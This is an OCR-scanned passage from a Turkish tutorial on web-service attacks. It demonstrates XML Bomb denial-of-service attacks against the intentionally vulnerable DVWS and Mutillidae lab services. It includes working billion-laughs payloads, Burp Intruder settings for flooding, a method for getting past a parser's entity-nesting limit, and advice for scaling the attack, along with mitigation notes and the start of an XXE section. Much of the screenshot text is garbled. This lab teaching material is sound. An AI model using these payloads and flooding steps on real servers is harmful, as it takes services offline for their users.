User-hgent: Mozilla/S.0 IWindows NT 10.% ‘sendtointrudar Ctisl (7.36 (KHTHL, like Gecko)
Chrone/100.0. 4856, 137 Safar/537.36 S— <100cTy
i Sendtoepeater v P
text/heal, spplication/shel sasl, oo Sendtosequencer ge/webp, inage/apng, */4ias0 11
5, appl ication/s1gned-exchange; 1=
10 Referer: hitp://152.168.56. 1 SendtoComparer G <head>
accept-Encoding: gzip. deflate Sendto Decoder g
2 Accept -Language: en-LS, anigei) encta charsets‘utf-&
3 Gonmection: clase Show response inbrawsee “meta hitp-equi atible" content
L . . e vaewport® contents"widthederic
name=<7xAl vargion="1.0"7 Requestin browser e e="description® contant. -
1 I Engagement oals mets names"authar® contents s
Change request method atitles
Chumgebodyencoding . External Entity
</titles
CopyuRL
- trap Core oSS o>
Copyas curl and {../ess/bootstrop.min.css® types‘tert/css* rela‘stylesheet®s
Copytofile
<1BNTITY JA10 “slol7:slol 7 alal7i6lol7  Pasteframfile css/sinple-sidebar css® type="t rel="stylesheet s
o8 “&Lol8;ilol 6411861018 Gaveitem 2
2 alsi</talz> Save entire history
Paste URL asrequest
Addtosite map iy id"vrappe
<1+ sidedar
UL encode s youtype <div id="sidebar-urapper”s
D € amatches omatches
Done 2,780 bytes | 2,178 millis

e) Intruder sekmesinde sirasiyla su adimlar takip edilir:

i) Intruder->Positions->Clear $
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Resourcesool  Options

aackeype:| Snger

@ Pavlosd positio

e positons where payisads willbe inserted,

e addedintothe taeges 5 ol as the base request.

arget: | Wit N216836703

Update Host headerto ma

dows{ e okl it s/ rlbonb/process.php WITP/1.3

I —
A 5,0 Winsds a1 dosene 7.3 1O Like Geckal Chrome/100.0.4856.127 Satard /537,55
Accept: text/htal.app ,c.m,,. ahtalosnl, applicution/enl ;4-0.9, inage /avit , inage/webp, LRage/apAg. .29l 1¢0T Lo/ 53000 eichanGe: b3 4u0.3
=& Fvckier et 1 st vl bon . o

<IBNTITY loll "ggelol; g§slol ;galol :5clol ;§56laL  g6slol : §Ealol /656l ol §6elal; ghalol ;=58
<IENTITY lol2 "§iloll m\uu S8cLoL1:S8uloly: ailol 1 S8dLoL1: B8oL1 480
1 i o121 §§41 1 2: §84101 2: §541 01 2: §56101 2: §561

610! o o 3;§541 613 681 o1 3; §5¢!
S5choha,Siul oL S5ck ol 4 S8ul o4 S5cLol 4 S84l L4 S8dLol 4850
8541015 41 015: B84 015, §841 15 B84 o1 451
SiEBols SRR ClBALoLS ictonc: Bidiola: 650
v 1017; 66101 7: §51017; §5£1.¢1 7: 8551017 5561 o1 7: 6561 17: -4
JBT lels “Melote B A i bt A i b e

-
L -

leIoE omthes

Clear

Lengihem

to TUBITAK BILGEM Kaemu Sert

Bup Puect Inineder Repeaier Windw Help

Duhoowd  Twgw  Prow Sequercar Decossr  Companer  Legger

Pmctoptions Ussroptions  Learn

Configunethe pectisns where payloadsmill Rgeerted they can be acded i e target as well a the Basa reguest.

asss
Torge: | hpihG2 16856103 B Upeate Hostheaderto maichtaret

Clacs

FOST e vlnerabil e anl bonb pracobe ghe HTTP7LL s

ru-urlencated
u T 10.0; WinG4: x64) Ap
Accest: text/hial, applacataon ahtal sxel , sapl ication/sal o
Referer: http://152.168 55 103 duws/vul nerabilities,ual basb
Accest-Encoding: gaip. deflate

+ en-US, eniqe0.8

3796 (KHTML. Like Gacke) CF
9, 1mage/auat  inagesiebp . inage /apng, o/

/1000, 4396. 137 Satari/S37
D8 1ent o/ e change veb3:4-2.9

Conpaction: close
nsmes <7anl_versisna"1.0°7s

COATA) =
+6Lal; 6ol slel slal; sl ;oL sl ;3 1
Aoll;Glol1;loll;lol1lalli kol 1 Glol i flolls&
- 12: 41612141 2: €101 21 101 2: €11 24101 216101 2: 61
<IBITITY 1otd Wlol 3ol 6lo13; el 3:al % el gLl slota
15 *Llel4;ELo14;ELol 4: 101 4: Llol 4: £lol 4:EL01 4: Slol 4: Llala: Ll ol &
i i P i i
£ algtalg: ol ol lote
10 7: 6101 7: 61517 610171 161 7: 60
Fot0:lolosora. £le1e: slole

@@« Omatches

0 piyiond pesitions Lengix 1498

et S
® 2% 3 x T

Pt = - o the Pstions 1ab, siailabie foreach pa . paosditype can e

Pryosdesant: 0

ing Figured, this cmbe

© Geneate poyionds

Continge indefiniely

v processing lasks on each payoad befare I 5 used

] Enatied Rl
Edn
Femare
.
w
Dowa
" dtaURL : «Fial paload, For s tramanission within HTTPrequests

B URL-rcods these caemcters: | I

iii) Intruder->Payloads->Payload Options->Continue Indefinitely
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oty sirng With no payload madkers conligured, s an be wsed 1 repeatdlyissae the base oquest unmodied.

(0]

@ peston vacions processng Lasks o s eitismed
A Eoab #

et

w

Down

payion
5 oA encode

iv) Intruder->Resource Pool->Name=XmIBombDoS2 & Tick Maximum
concurrent request: 10

Muxconcurenirequests  Requestdelyy  Randomdelsy  Delayincrement

V) Intruder->Options->Attack Results->Untick Store Requests & Untick Store
Responses & Tick Use denial of service mode (no result)
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¥ Proect - licansed ta TUBITAK BILGEM K e -

Bup Project ltrucer  Aepeater Window Help

Dashbeard  Tatget  Piomy  iuder  Repester  Sequeer  Decoder  Comparer  Logger  Edender  Pmjecioptions  Useroplons  Leam

Postions  Payloads  Resource Paol

This et ¥

I -

@ de

¢ These {whether gotac
5 Upate Content Lengthhesder
Set Conetion cose

@ ErrorHand

(€3 These settings control haw Intruder handles network errors duringthe attack.

Number of retries onnetwork fasure: | 3

Pause before etrylmillsecondsl | 2000

B e e i Be ek ayired b st ek
Stoe requests
15 ek unenosified baseine request ____,..-————"
59 s denil-ofsenice mode horesuls) A= |
Storefulpayosts
.
@

€ These etings canbe sedifagresat Hams contaring specifed pessions

Fagresutitems with responses matching these expressions:

Paste | e
exception
Losd.. | [itegal

ey Projec - licansed to TUBITAK B uiflkasyon Markez [single user licn
Bap Project Intrder  Repeater ielp
Ouhbosrd  Target  Prosy Repester  Sequencer  Decoder  Compwer  Logger  Brender  Pojecoptions  Useroplioms  Learm
TREEREY
Positions_Payoads _ ResourcePool _Options
@
™ atach1othe cumen et . T oard whenevet youcpen s project
Q@ req
) Thess setings controlwhether Inruter updates th conigured request headers durng
153 Update Cantent. Length header
Set Connection: close.
€ These ihow retworkertors dringthe stack
[ e —— 3
Fause befure retry millsecondst | 2000

ce

These settings controlwhat fermtionis apturedin attackresets
Store equests
Ve urmodiiod aselne regest

Use denial-of-service mode ino resulis)

Store fullpayioads

These setings grosult fems caetaining spe

Flagresul itema with responaes matching these expressions:

pue | 4
eneption
Lood..._ | ilegal
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SomP v

Request Payload Eror
w il
5t ull
%0 il
59 ull
=5 il
=7 ull
il
5 nall
54 all
53 il
il
1 il
=0 ull
us il
50 ——

g) Web tarayicilarda soap dvws web servise erisimler bu sirada kontrol edilir. Bir siire
sonra hedef web sunucudaki kaynaklar tiikkenir ve hedef web sunucu servis dig1 kalir.

@ Problem loadingpage X +

< C o ® 192.168.56.103

Kali Linux # KaliTools « KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB OffSec

The server at 192:168.56.103 i taking too long to respond

« The site could be temporarily unavailable or too busy. Try again in a few moments.
« If you are unable to load any pages, check your computer’s network connection.

« If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the
Web.

Saldirt bir miiddet sonunda basarili olacaktir. Saldir1 6ncesinde hedef soap web servis sunucusunda
cpu kullanimi normal seyirlerdeyken;
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File Machine View Input Devices Help

1 Gorev Yoneticisi

Dosya rantule

islemler | Performans Uygu\amagagneBag\ang\g Kullanicilar  Aynntilar  Hizmetler

g s A e CPU Intel(R) Core(TM) i7-8650U CPU ® 1.90GHz
% Kullanimi %100

Bellek
453/512 MB (88%)
0 Diski (C:)
%0
Ethernet
Ethernet
G: 0 A: 0Kb/sn

60 saniye
Hiz Temel hiz 2,11GHz
211 GHz Yuvalar: 1

Sanalislemci 1
slemler  IsParceagi  Tembiclar  Sanalmakine:  Evet

68 840 28965  Llonbelesi Yok
Galisma zaman

0:02:24:52

(~) Daha az aynnts | () Keynak izleyicisini Ag

1803

A~ 50 %)
g o1 8E |G @ Right ctrl

m
[(})
Y

saldir sirasinda hedef web sunucuda cpu kullanimi en iist seviyede sabitlenir:

File Machine View Input Devices Help

17 Gorev Yoneticisi

Dosya  Secenekler ntile
Uygulema gecrgial  Baslangi  Kullanicilar  Aynintilar  Hizmetler

CPU
100% 2,11 GHz CPU Intel(R) Core{TM) i7-8650U CPU @ 1.90GHz

% Kullanimi 9100

496/512 MB (97%)
0 Diski (C)
5457

Ethernet

Ethemet
G: 240 A: 0 Kb/sn

60 saniye
Hiz Temel hiz: 2,11GHz

211 GHz Yuvalar:
! Sanal glemci
Glemler s Pargacig  Teniticlar  Sanal makine

438 1668 135868 L' onbellegr
Caligma zamani

0:00:46:54

() Dahaazaynnts | (8 Kaynak Izleyicisini Ag

i
o
)
:I

AEB@ W iy, O
@0 & 5018 g1@ & right cerl
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File Machine View Input Devices Help

- %7100 %95
Durum (=11} Bellek

Uygulamalar (2)

rev Yoneticisi 179MB

1,6 MB

Arka plan iglemleri (200)
[&] Antimalware Service Executable 226MB 212MB/sn  OMb/sn Disgik Diigik
., Apache HTTP Server (32 bit) 113MB  48MB/sn  OMb/sn Cok disuk Cok disik
Arama OME  OMB/sn  OMb/sn ok dusuk ok dusak
Baglat OMB  OMB/sn  OMb/sn Gok disiik Gok disak
% Biriktirici Alt Sistemi Uygulamasi OMB  OMB/sn  OMb/sn Gok disiik Cok diisik
[&] Command line performance m... 07MB  04MB/sn  OMb/sn Gok dusik Cok disik
[ Cemmand line performance m... ) 06ME  O1MB/sn  OMb/sn Gekdusuk ok dusak
[&] Comman d line performance m.. 06MB  01MB/sn  OMb/sn Gok diisik Gok disak
[&] Comman d line performance m.. 06MB  01MB/sn  OMb/sn Gok diisik Cok diisik

[ Command line performance m... 07TMB OI1MB/sn  OMb/sn Gokdusik Cok disik ©

~) Daha azayrints Goreyi sonlandir

16:25

® 5 @ € = (" AEBRY e O
BOkF o0 SR G @Eright curl

Saldirt bu sekilde siirdiigii miiddet¢ce hedef web sunucu kaynaklari dolu kalacaktir ve erigim
gelmeyecektir. Saldirt web sunucu kaynaklarini tiikettiginden web sunucu sanal makine sisteminde
cpu tiiketimi kaynakli Kitlenmeler meydana gelebilir. Saldiri devam ettikten bir siire sonra
durduruldugunda oldukga epey miiddet sonra web sunucuya erigim geri gelecektir.

XML Bomb saldirisinda kii¢iik boyutlu bir istek ile biiyiik kaynak tiiketimi yapilir. Ciinkii talepteki

payload ile exponantial (iistel) biyiime saglayan bir kaynak tiiketimi yapilmaktadir. Saldiriy1 daha
yiiksek donanimlara sahip web sunucularda basariyla uygulayabilmek i¢in

- Xml bomb payload’unun entity’leri arttirilabilir,
- Eszamanl gonderilecek http talebi sayisi arttirilabilir.
XML bomb saldirist Windows sistemlerde
Shift + ESC (Gorev Y oneticisi)
penceresindeki Performans sekmesi ile takip edilebilir.
Not:

CPU ve RAM kullanim oranlar1 Windows {izerine kurulu dvws web servis 6rneginde basariyla
full'lenmistir ve web sunucu servis dig1 kalmistir. Fakat ayni saldir1 windows yerine linux {izerine
kurulu dvws web servisine uygulandiginda saldir1 basarili olamamustir.

Acikligin Onlemi

XML Bomb saldirilart enjekte edilecek entity’ler tamimlamak i¢in <IDOCTYPE ... [ ... ]
etiketinden yararlanir. Dolayisiyla web servis sunucularin1 bu saldirilara karsi1 korumak icin web
sunucudaki xml parser’in konfigiirasyon ayarlarindan bu etiketin kullanimi yasaklanmalidir.
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Alternatif olarak girdi denetleme uygulanarak kullanici taraftan gelen <!DOCTYPE ... [ ... ]
girdileri bloklanabilir. Bodylece Xml Bomb saldirilarina karsi koruma saglanabilir.

5.43 XML Bomb 2 (CWE-776, CAPEC-197)

XML Bomb saldirisini bir de XML bomb saldirilarina karsi korunakli xml parser kullanan
Mutillidae web servisine uygulayalim. Mutillidae web sevisi bu ornekte linux bir sistemde yer
almaktadir.

Hedef Mutillidae web servisinde XML Bomb saldirilarina karsi entity seviye kisitlamasi (yani
onlemi) mevcut olan ileri sliriim bir xml parser varken bu sartlar altinda Xml Bomb saldirist
yaparak web sunucuyu servis digi birakma gosterilecektir.

Kullanilan Materyaller

Ubuntu 18.04 LTS /I Fiziksel Makine
Burpsuite Pro - Kali Linux 2022 // Saldirgan Sanal Makine
Mutillidae - Ubuntu 18.04 LTS VM /I Hedef Mutillidae Web

/I Servis Sanal Makine

Not: Mutillidae kasith zafiyetler iceren web uygulamasinin Ubuntu 18.04 LTS Linux’a
kurulumu i¢in bkz. EK > Mutillidae Web API’yi Linux’a (Ubuntu 18.04 LTS Dagitimina)
Kurma.

Acikligin Coziimii
Oncelikle mutillidae web servisin xml bomb zafiyetli sayfasina bir géz atalim.

OWASP 2017 -> Al - Injection (Other) -> XML Entity Expansion -> XML Validator
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Mutillidae web servisinin bu sayfasinda textarea kutusunun varligi temsilidir. Sayfada bir girdi
noktast vardiri temsil etmek i¢in kullanilmaktadir. Normal sartlarda web servislerde girdi noktasi
bu sekilde bir araylize sahip olmayacaktir ve arayiizii olmayan bir parametre girdi noktasi olacaktir.

Simdi test amagli XML Bomb payload’unu girdi noktasina girelim ve bir defalik génderelim.

XML Bomb Payload’u:

<?xml version="1.0"?>

<IDOCTYPE lolz [

<IENTITY lol "lol">

<IELEMENT lolz (#PCDATA)>

<IENTITY loll "&lol;&lol; &lol; &lol; &lol; &lol; &lol; &lol; &lol; &lol ;">

<IENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&loll;&lol1;&loll;&loll;">
<IENTITY lol3 "&Ilol2;&l012;&I012;&l012;&l0l2; &I0l2; &l0l2; &l0l2; &lol2; &lol2;">
<IENTITY lol4 "&lol3;&I0l3;&l0l3;&l013;&I013;&l013; &1013; &l013;&I013; &l0l13;">
<IENTITY lol5 "&lol4;&Ilol4;&lol4;&l0l4;&l0l4;&lol4;&l0l4;&l0l4;&lo0l4; &lol4;">
<IENTITY lol6 "&Ilol5;&Ilol5;&lol5;&l0l5;&I0l5;&lol5; &lol5;&I015;&l0l5; &lol5; ">
<IENTITY lol7 "&Ilol6;&I0l6;&I1016;&I016;&I016;&I1016;&1016;&I016;&I016; &1016;">
<IENTITY lol8 "&Iol7;&I0l7;&Iol7;&I0l7;&I0l7;&Ilol7;&I0l7;&I017;&I017; &0l 7;">
<IENTITY lol9 "&Ilol8;&I018;&I0l8;&1018;&I018;&I018; &1018;&1018;&I018; &1018;">
1>

<lolz>&lol9;</lolz>
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Gorildiigii gibi web servis xml hatasi vermistir ve entity i¢in loop var demektedir. Baz1 web
servislerin ileri xml parser versiyonlari xml bomb payload’undaki birbirlerini ¢agiran birden fazla
entity tamimlamasimi sadece belirli adete kadar izin vermektedir ve limitin yukarisindaki
kullanimlar1 yasaklamaktadir. Bu sayede xml bomb saldirilarmi 6nlemektedirler. Bu nedenle bu
web servise standart xml bomb payload’u ile saldir1 gerceklestirilemez. XML bomb saldirisini
uygulayabilmek i¢in xml parser’in ka¢ adete kadar birbirini ¢agiran entity tanimlamasina izin
verdigi kesfedilebilir.

Ornegin birbirlerini ¢agiran entity sayisim 1°den baslatip arttira arttira gondermeyi denedigimizde
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4’¢ kadar xml parser’in sorun ¢ikarmayacagini gorebiliriz. Birbirini ¢agiran 4 entity’li payload su
sekildedir:

Gegcerli XML Bomb Payload’u:

<?xml version="1.0"?>
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<IELEMENT lolz (#PCDATA)>
<IENTITY lol2 "&lol1;&Iol1;">
<IENTITY lol3 "&Ilol2;&lol2;">
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1>

<lolz>&lol4;</lolz>
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Ancak 5nci entity tanimlandiginda xml parser buna izin vermedigine dair hata verecektir.
Gegersiz XML Bomb Payload’u:

<?xml version="1.0"?>
<IDOCTYPE lolz [

<IENTITY lol "lol">
<IELEMENT lolz (#PCDATA)>
<IENTITY lol2 "&lol1;&Ilol1;">
<IENTITY lol3 "&lol2;&lol2;">
<IENTITY lol4 "&lol3;&Iol3;">
<IENTITY lol5 "&lol4;&Ilol4;">
1>

<lolz>&lol5;</lolz>
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Dolayisiyla hedef web servisin xml parser’inda birbirlerini ¢agiran entity limiti 4’miis diyebiliriz.
XML bomb payload’unu 4 adet birbirini ¢agiran entity ile yaptigimizda tekrarli olarak génderme
sonucu mutillidae web servisini servis dis1 birakmay1 deneyebiliriz.

Simdi birbirini ¢cagirmada maksimum 4 entity limitli xml parser’a kars1 saldirt deneyelim.

a) Saldirty1 kisa siirede basariya ulastirabilmek igin Mutillidae web servisinin kurulu
oldugu sanal makinanin donanimsal 6zelliklerini

1CPU
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512 MB Ram

seklinde disiirelim.

b) Ardindan Kali Linux sanal makinesinden XML Bomb zafiyetli mutillidae web servisi
goriintiileyelim ve textarea girdi noktasina gecerli xml bomb payload™unu girelim.

Gegerli Xml Bomb Payload’u:

<?xml version="1.0"?>
<IDOCTYPE lolz [

<IENTITY lol "lol">
<IELEMENT lolz (#PCDATA)>
<IENTITY lol2 "&Ilol1;&Ilol1;">
<IENTITY lol3 "&lol2;&Io0l2;">
<IENTITY lol4 "&lol3;&I0l3;">
1>

<lolz>&lol4;</lolz>

c) Payload’u submit butonu ile gonderelim ve Burpsuite Pro ile istegi yakalayalim.
d) Istegi Intruder’a génderelim.

e) Intruder sekmesinde sirasiyla su adimlari takip edelim:
i) Intruder->Positions->Clear $
ii) Intruder->Payloads->Payload Type->Null Payloads
iii) Intruder->Payloads->Payload Options->Continue Indefinitely

iv) Intruder->Resource  Pool->Name=XmIBombDoS2 & Tick Maximum
concurrent request: 10

v) Intruder->Options->Attack Results->Untick Store Requests & Untick Store
Responses & Tick Use denial of service mode (no result)

f) Intruder’da Start Attack ile paketi tekrarli olarak pesisira gonderelim.

Kali Linux’da web tarayicida mutillidae web servise erisimler bu sirada kontrol edilir. Erigimler
anlik gelebiliyor ve sonradan tekrar gidiyor. Sonug olarak 4 seviyeli bir xml bomb payload’u web
sunucuyu kalici olarak devirmek i¢in yeterli gelmemistir.

XML parser’in birbirini ¢agiran entity limitine takilmaksizin yine hedef web servis sunucusunun
kaynaklar1 tiiketilebilir ve web sunucu servis dis1 birakilabilir. Bunun igin birbirini ¢agiran
entity’ler yerine tek bir entity’nin tamimli oldugu yatay bir sekilde biiyliyen su payload
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kullanilabilir:

<?xml version="1.0">

<IDOCTYPE node [

<IENTITY x "11111111111111111 ... [100KB kadar] ... 111111111111111111111">
1>

<node>&X; &X; &X; &X; ... [30000 adet] ... &x; &X; &X; &X; </node>

Bu payload’daki x entity’sine deger olarak yukaridaki gibi 100KB biiyiikliiginde 1111 yi1gim
girilebilir ve <node> diiglimiine ise 30 bin adet entity girilebilir. 111 y1ginin1 100KB kadar yapmak
i¢in

https://javainuse.com/bytesize

adresinden kopyala yapistir ile 1111 ‘leri ¢oklayarak 100KB’ye kadar arttirabiliriz. Entity cagirma
diigtimiindeki &x; entity’lerini 30 bin kadar yapmak i¢in ise su php script’inden yararlanabiliriz:

deneme.php
<?php
$string = """,
for ($i = 0; $i <= 30000; $i++) {
$string = $string . "&x;";
}
echo $string;
7>
Bu script’in web tarayici ekranina bastigi 30 bin adet &x; verisini kopyalayip payload’a
yapistirabiliriz. Payload bu sekilde hazir hale geldikten sonra sorunsuzca xml parser tarafindan
calistirtliyor mu kontrol etmek icin zafiyetli mutillidaec web servisinde bir defalik goénderimi
denenir. Yani web arayiiziindeki textarea’ya payload girilip bir defaligina gonderilir.
Payload gonderildiginde “entity reference loop detected” hatasi gelecektir. Payload’un islevsel
olarak calisabilmesi ve xml parser’in gelen veriyi ele alip okuma yaparak cpu ve ram kaynaklarimi
tilketmesi i¢in xml parser’in verdigi bu kisitlamay1 atlatmamiz gerekmektedir. Bunun igin x
entity’sindeki 1111 yigin1 “entity reference loop” hatas1 vermeyene kadar goz karar kabaca yan

yartya siirekli indirerek azaltabiliriz. Biraz fazla minimalist yaklasarak bu demo i¢in 1111 y18im
gozle sayilabilecek adete diistiriilmiistiir ve ortaya su payload ¢ikmustir:
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<?xml version="1.0"?>

<IDOCTYPE node [

<IENTITY X
"11111111111111112121112121212211212212712212711212122121212121212122127221211121
111111111211111212212121121121221>

1>

<node>&X; &X; &X;&X;&X;&X; ... [30000 adet] ... &x;&x;&x;</node>

~/Desktopjealisan payload {rsrc.p!

o

30 Bin
Adet &x;

4
(6]
—
|
@
L
¥
=

~/Desktopjealisan payload {rsrc.p!

wNee®eBOOA

En nihayetinde bu payload arayiizdeki textarea’ya girildiginde zafiyetli xml parser’in entity kisitina
takilmaz ve hatasizca calisir. Boylece xml parser gelen xml verisini ele alir, ve string’leri
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.0"7> <IDOCTYPE node [ <!ENTITY x "11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111"> 1> <nod S8 B B3 6 B3 B B3

’ Text Content Parsed From XML
S et 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

i

Getting Started

Payload’umuz ¢alistigina gore simdi nihai olusan bu payload ile entity seviyesi kisitina sahip, fakat
yine de halen zafiyetli xml parser’a kars1 xml bomb saldirisina gecelim.

a) Saldirty1 kisa siirede basariya ulastirabilmek igin Mutillidae web servisinin kurulu
oldugu sanal makinanin donanimsal 6zelliklerini

1CPU
512 MB Ram
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b)

seklinde diisiirelim.

Ardindan Kali Linux sanal makinesinden XML Bomb zafiyetli mutillidae web servisi
goriintiileyelim ve textarea girdi noktasina gecerli xml bomb payload’unu girelim.

Gegerli Xml Bomb Payload’u:

<?xml version="1.0"7>

<IDOCTYPE node [

<IENTITY x
"111111111111212121211212121212121211211212121222221212122212122212122111
11111121111212121121121212121212121211>

1>

<node>&X; &X; &X;&X;&X;&X; ... [30000 adet] ... &x;&x;&x;</node>

(
Payload’un tam hali su linkten alinabilir.

https://www.includekarabuk.com/kitaplik/indirmeDeposu/XmIBombAttack.txt

Payload’u submit butonu ile textarea’dan gonderelim ve Burpsuite Pro ile istegi
yakalayalim.

d) Istegi Intruder’a gonderelim.

e)

f)

Intruder sekmesinde sirasiyla su adimlari takip edelim:
i) Intruder->Positions->Clear $
ii) Intruder->Payloads->Payload Type->Null Payloads
iii) Intruder->Payloads->Payload Options->Continue Indefinitely

iv) Intruder->Resource Pool->Name=XmIBombDoS2 & Tick Maximum
concurrent request: 10

v) Intruder->Options->Attack Results->Untick Store Requests & Untick Store
Responses & Tick Use denial of service mode (no result)

Intruder’da Start Attack ile paketi tekrarli olarak pesisira gonderelim.
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g) Kali Linux’da web tarayicida mutillidae web servise erisimler bu sirada kontrol edilir.
Bir siire sonra hedef web sunucudaki kaynaklar tiikenir ve hedef web sunucu servis disi

kalir,
\
¥ 1921 | @ XML | @ Tirki | & phpf | W PHP( | & locall | § 192.1 | & muti 192.1 19 %X+ v - b x
& X Y @ 192.168.56.119/mutillidae/index.php?page=xml-validator.php < % % 9 (w0 o H
= = [ ] = »

This site can't be reached
192.168.56.119 took too long to respond.
Try:

« Checking the connection

« Checking the proxy and the firewall

ERR_CONNECTION_TIMED_OUT

Bu sekilde saldir1 tamamlanabilir. Saldir1 durumu linux web sunucuda su komut galigtirilarak
Ubuntu 18.04 LTS Linux Terminal:
> gnome-system-monitor &

penceresindeki Resources sekmesi ile takip edilebilir. Bu komut ¢alistirildiginda saldir1 6ncesinde
cpu ve ram tiiketimi su sekildeyken;
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File Machine View Input

Devices Help

Activities [ System Monitor Prs 10:39 @

¥ CPU
. 100%
0%
e, 0%
| aom
= ol
e S e ———— ‘-77__1- 0%
e 0%
é 1 min 50secs 40secs 10 3ec
B cru  34,4%
e ¥ Memory and Swap
A 100%
0%
- 0%
0%
0%
1 min 50secs 40secs 30 secs 20sacs 10 3ec
Memory Swap
397,8 MB (80,1%) of 496,7 MB
Cache 166,4 MB 909,6 MB (73,1%) of 1,2 GB
¥ Network
10K
$19 bites/s
1 min 50secs 40secs 30 secs 20sacs 10 3ec
sse . .
000 Receiving Ubytes,fs Sending Obytes_/s
see Total Received 283,6 MiB TotalSent 12,3 MiB
&0 o =)@ @ right ctrl

saldir1 sirasinda cpu ve ram tiiketim oran1 %100’lere varmig sekilde goriinecektir:

File Machine View Input Devices Help

Activities [ System Monitor ~ Crs 15:38 @
*s () Resource: [ File Systel
¥ CPU
—_———— = —— ————— o —— 0%
f\\/ —\\f 80%
0%
0%
0%
0%
1 min 50 secs 40secs 30secs 20secs 10
B cru 94,7%
¥ Memory and Swap
= 100%
0%
60%
0%
20%
0%
1 min 50secs 40secs 30secs 20secs 10secs
Memory Swap
460,4 MB (92,7%) of 496,7 MB
Cache 133,0 MB 1,2 GB (100,0%) of 1,2 GB
¥ Network
2000 Kifs
- 160.0 Kigfs
/ | N 120,0 KiBjs
|1 A\
B a8 o

AV YA

1 min S0secs

P

Receiving 6,4 KiB/s
Total Received 90,6 MiB

Saldirt sonlandirilirsa hedef web sunucudaki web servise erisimlerde mysql servisinin crash oldugu
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uyaris1 da ilaveten gelebilir. http:/IP/mutillidae/ seklinde mutillidae anasayfaya gidilmek
istendiginde database offline bildirim sayfasi gelebilir.

| Database Offline % | DatabaseOffiine x @ 192.168.190.69/mutillida x | B} Zimbra: Taslaklar (12) X | + v - & x

<« C O A Notsecure | 192.168.190.69/mutillidae/datsbase-offline. php B <a tOCG»0O@ :
- - - L . - # - T . v a - L] ’

( The database server at 127.0.0.1 app to be offline. )

2. Be sure the username and password to MySQL s the same as configured in
includes/database-config.inc

3. Be aware that MySQL disables password for root user upon instal
update in some systems, This may happen even for a minor update. Please check the
username and password to MySQL is the same as configured in includes/database
config.inc

B 1. Click here to attempt to setup the database. Sometimes this works.
|
L}

4. Avideo is available to help reset MySQL root password
5. Check the error message below for more hints
(‘ 6. If you think this message is a false-positive, you can opt-out of these warnings below

Database Diagnostics Information

Database Error message:

@

Database host: 127.0.0.1
Database post: 3306
Database username:

Database password: mutlicae
Database name: mutilidae

IP resolved from database hostname: 127.0.0.1

Ping database results:

PING 127.6.0.1 (127.0.0.1) 56(84) bytes of d
€4"bytes fron 127.0.0.1; icap. seqel tiiné tineed.025 ms

ved, 0% packet Loss, tise dus
025/0.025/6.000 m:

Traceroute database results:

sh: 1: traceroute: not found

Port scan database results: The database is reachable. Connected to database host 127.0.0.1
on port 3306

LDAP Diagnostics Information

LDAP host: 127.0.0.1
LDAP post: 389

LDAP username: cn=admin,dc=mutillidae dc=localhost
LDAP password: mutilidae

LDAP base DN: dc=mutillidae dc=localhost

IP resolved from LDAP service hostname: 127.0.0.1

Saldirty1 daha yiiksek donanimlara sahip web sunucularda basariyla uygulayabilmek i¢in

- Xml bomb payload’unun yatay biiylimesi arttirma,

- Eszamanl gonderilecek http talebi sayis1 arttirma

uygulanabilir.

5.4.4 XML External Entity Injection (CWE-611, CAPEC-376)

Bu demoda XML External Entity Injection saldiris1 gosterilecektir ve bu saldir1 ile hedef linux
mutillidae web servis sunucusunun hassas dosyalarmi okuma, ayrica ssrf saldirisi diizenleme
yapilacaktir.

Kullanilan Materyaller
Ubuntu 18.04 LTS /I Fiziksel Makine

Mutillidae - Ubuntu 18.04 LTS VM // Hedef Mutillidae Web
/! Servis Sanal Makine

Not: Mutillidae kasith zafiyetler iceren web uygulamasimin Ubuntu 18.04 LTS Linux’a
kurulumu i¢in bkz. EK > Mutillidae Web API’yi Linux’a (Ubuntu 18.04 LTS Dagitimina)
Kurma.
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Acikhigin Aciklamasi

XML dokiimanlarin bag bolimiinde DTD (Document Type Definition) adi verilen bir blok yer alir.
DTD xml dokiimanmin govdesindeki icerigini (content’ini) dogrulamak (validate etmek) icin
kullanilir. XML dokiimani diizgiin syntax'da bulunmakta m1 kontroliinii saglar. Bu DTD bdéliimleri
icerisinde dahili varliklar (internal entity’ler) ve harici varliklar (external entity'ler) seklinde iki
ozellik vardir. Bu ozelikler ile dosya okuma, sistem kabugunda komut ¢alistirma gibi islemler
yapilmasi miimkiindiir. Bu ekli 6zellikler xml dokiimanina esneklik kazandirmak maksadiyla yer
almaktadir. Fakat kisitlanmadiklar1 takdirde bu Ozelliklerin agik ve kulanmilabilir olmasi siber
saldirilara imkan tanimaktadir.

XML dokiimanlarina daha yakinda bakmak i¢in xml dokiiman1 genel yapisina bir bakalim:

<2xml version="10" encoding="utf{-8 2> ®

<ogin>
wusername>admin</username> ¢,
<secret>hunter2</secret>
</login>

XML dokiimanlarinda en basta declaration, sonra gévde boliimii gelir. Bu xml dokiimanina asagida
gosterilen kirmizi blok ile gosterilen <!IDOCTYPE bolimii eklenirse bir DTD tanimlamasi
eklenmis olur.

<2xml version="10" encoding="utf-8"?> &

<|og'\n>
<username>

</login>

DTD (Document Type Definition) daha o6ncede dendigi gibi xml dokiimanmin govdesini
tamimlama yapar. Bu tanmimlama xml dokiimaninin gévdesindeki diigiimlerin ne sekilde olmasi
gerektigini (hangi diiglimlerin hangi diiglimleri igerecegini, hangi diiglimlerin hangi 6zellikleri
(attribute’lar1) igerecegini, hangi diigiimlerin hangi tiir veri alacagini v.b.) sdyler. Eger XML
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dokiiman gévdesi DTD’nin sundugu tanimlara uyarsa dokiiman gegerliligininden (validation’dan)
geemis olur. Yani XML dokiimanlarinda DTD boliimii xml dokiimaninin gecerliligine dair
(validation’a dair) kurallar dizer. DTD boliimiinde Entity (varlik) adi verilen ozellige gelecek
olursak DTD bolimii igerisinde entity’ler siklikla kullanilacak bir veri blogunu degiskene atma ve
yeri geldiginde ¢agirma islemi i¢in kullanilirlar. Kabaca internal ve external olmak iizere ikiye
ayrilirlar:

XML dokiimaninda <!DOCTYPE blogunda;

version="1.8" encoding="utf-8"7>

root [

writer °
copyright "(

seklindeki bir xml dokiimaninin DTD bolimiinde dahili varliklar (internal entity’ler)
tanimlanmigtir ve xml dokiimanin gévdesinde bu dahili varliklar (internal entity’ler) cagirilarak
kullanilmustir.

